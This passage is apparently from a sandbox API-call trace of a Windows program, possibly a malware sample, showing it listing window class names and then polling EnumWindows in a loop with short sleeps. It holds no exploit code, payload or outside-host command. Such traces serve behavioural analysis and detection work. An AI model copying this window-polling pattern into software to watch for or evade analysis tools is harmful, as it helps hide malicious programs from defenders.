lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.116] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0096.116] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0096.116] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0096.117] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0096.117] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0096.117] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0096.117] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0096.117] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0096.117] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0096.117] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0096.117] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0096.117] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.117] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.118] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.119] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.120] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.121] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0096.122] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0096.122] Sleep (dwMilliseconds=0x64) [0096.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0096.241] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0096.241] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0096.241] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0096.241] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0096.241] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0096.241] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.241] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.241] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0096.241] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0096.242] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0096.242] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0096.242] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0096.242] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0096.242] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0096.242] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.242] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.242] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0096.242] Sleep (dwMilliseconds=0x64) [0096.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0096.620] Sleep (dwMilliseconds=0x64) [0096.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0096.817] Sleep (dwMilliseconds=0x64) [0096.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0096.918] Sleep (dwMilliseconds=0x64) [0097.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.040] Sleep (dwMilliseconds=0x64) [0097.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.181] Sleep (dwMilliseconds=0x64) [0097.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.292] Sleep (dwMilliseconds=0x64) [0097.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.415] Sleep (dwMilliseconds=0x64) [0097.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.577] Sleep (dwMilliseconds=0x64) [0097.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.686] Sleep (dwMilliseconds=0x64) [0097.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.787] Sleep (dwMilliseconds=0x64) [0097.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0097.951] Sleep (dwMilliseconds=0x64) [0098.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.052] Sleep (dwMilliseconds=0x64) [0098.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.216] Sleep (dwMilliseconds=0x64) [0098.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.316] Sleep (dwMilliseconds=0x64) [0098.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.449] Sleep (dwMilliseconds=0x64) [0098.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.549] Sleep (dwMilliseconds=0x64) [0098.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.663] Sleep (dwMilliseconds=0x64) [0098.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.786] Sleep (dwMilliseconds=0x64) [0098.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0098.913] Sleep (dwMilliseconds=0x64) [0099.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.015] Sleep (dwMilliseconds=0x64) [0099.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.115] Sleep (dwMilliseconds=0x64) [0099.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.296] Sleep (dwMilliseconds=0x64) [0099.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.409] Sleep (dwMilliseconds=0x64) [0099.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.539] Sleep (dwMilliseconds=0x64) [0099.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.641] Sleep (dwMilliseconds=0x64) [0099.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.868] Sleep (dwMilliseconds=0x64) [0099.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0099.974] Sleep (dwMilliseconds=0x64) [0100.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.132] Sleep (dwMilliseconds=0x64) [0100.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.271] Sleep (dwMilliseconds=0x64) [0100.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.372] Sleep (dwMilliseconds=0x64) [0100.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.569] Sleep (dwMilliseconds=0x64) [0100.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.669] Sleep (dwMilliseconds=0x64) [0100.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.874] Sleep (dwMilliseconds=0x64) [0100.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0100.975] Sleep (dwMilliseconds=0x64) [0101.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.200] Sleep (dwMilliseconds=0x64) [0101.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.305] Sleep (dwMilliseconds=0x64) [0101.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.430] Sleep (dwMilliseconds=0x64) [0101.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.549] Sleep (dwMilliseconds=0x64) [0101.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.721] Sleep (dwMilliseconds=0x64) [0101.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.890] Sleep (dwMilliseconds=0x64) [0101.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0101.996] Sleep (dwMilliseconds=0x64) [0102.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0102.161] Sleep (dwMilliseconds=0x64) [0102.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0102.464] Sleep (dwMilliseconds=0x64) [0102.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0102.586] Sleep (dwMilliseconds=0x64) [0102.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0102.773] Sleep (dwMilliseconds=0x64) [0102.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0102.873] Sleep (dwMilliseconds=0x64) [0103.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.146] Sleep (dwMilliseconds=0x64) [0103.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.247] Sleep (dwMilliseconds=0x64) [0103.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.532] Sleep (dwMilliseconds=0x64) [0103.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.639] Sleep (dwMilliseconds=0x64) [0103.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.827] Sleep (dwMilliseconds=0x64) [0103.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0103.961] Sleep (dwMilliseconds=0x64) [0104.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.090] Sleep (dwMilliseconds=0x64) [0104.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.212] Sleep (dwMilliseconds=0x64) [0104.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.380] Sleep (dwMilliseconds=0x64) [0104.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.481] Sleep (dwMilliseconds=0x64) [0104.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.737] Sleep (dwMilliseconds=0x64) [0104.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.869] Sleep (dwMilliseconds=0x64) [0104.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0104.980] Sleep (dwMilliseconds=0x64) [0105.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.083] Sleep (dwMilliseconds=0x64) [0105.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.184] Sleep (dwMilliseconds=0x64) [0105.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.364] Sleep (dwMilliseconds=0x64) [0105.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.486] Sleep (dwMilliseconds=0x64) [0105.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.689] Sleep (dwMilliseconds=0x64) [0105.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.791] Sleep (dwMilliseconds=0x64) [0105.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0105.978] Sleep (dwMilliseconds=0x64) [0106.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.089] Sleep (dwMilliseconds=0x64) [0106.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.228] Sleep (dwMilliseconds=0x64) [0106.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.438] Sleep (dwMilliseconds=0x64) [0106.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.539] Sleep (dwMilliseconds=0x64) [0106.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.727] Sleep (dwMilliseconds=0x64) [0106.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.828] Sleep (dwMilliseconds=0x64) [0106.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0106.976] Sleep (dwMilliseconds=0x64) [0107.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.140] Sleep (dwMilliseconds=0x64) [0107.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.241] Sleep (dwMilliseconds=0x64) [0107.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.445] Sleep (dwMilliseconds=0x64) [0107.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.547] Sleep (dwMilliseconds=0x64) [0107.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.727] Sleep (dwMilliseconds=0x64) [0107.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0107.829] Sleep (dwMilliseconds=0x64) [0108.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.020] Sleep (dwMilliseconds=0x64) [0108.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.152] Sleep (dwMilliseconds=0x64) [0108.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.488] Sleep (dwMilliseconds=0x64) [0108.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.589] Sleep (dwMilliseconds=0x64) [0108.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.736] Sleep (dwMilliseconds=0x64) [0108.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.837] Sleep (dwMilliseconds=0x64) [0108.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0108.994] Sleep (dwMilliseconds=0x64) [0109.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.112] Sleep (dwMilliseconds=0x64) [0109.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.303] Sleep (dwMilliseconds=0x64) [0109.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.459] Sleep (dwMilliseconds=0x64) [0109.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.636] Sleep (dwMilliseconds=0x64) [0109.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.740] Sleep (dwMilliseconds=0x64) [0109.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.841] Sleep (dwMilliseconds=0x64) [0109.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0109.987] Sleep (dwMilliseconds=0x64) [0110.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.213] Sleep (dwMilliseconds=0x64) [0110.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.339] Sleep (dwMilliseconds=0x64) [0110.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.484] Sleep (dwMilliseconds=0x64) [0110.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.614] Sleep (dwMilliseconds=0x64) [0110.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.728] Sleep (dwMilliseconds=0x64) [0110.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.829] Sleep (dwMilliseconds=0x64) [0110.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0110.970] Sleep (dwMilliseconds=0x64) [0111.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.117] Sleep (dwMilliseconds=0x64) [0111.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.218] Sleep (dwMilliseconds=0x64) [0111.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.423] Sleep (dwMilliseconds=0x64) [0111.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.556] Sleep (dwMilliseconds=0x64) [0111.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.658] Sleep (dwMilliseconds=0x64) [0111.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.842] Sleep (dwMilliseconds=0x64) [0111.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0111.997] Sleep (dwMilliseconds=0x64) [0112.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0112.229] Sleep (dwMilliseconds=0x64) [0112.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0112.461] Sleep (dwMilliseconds=0x64) [0112.576] 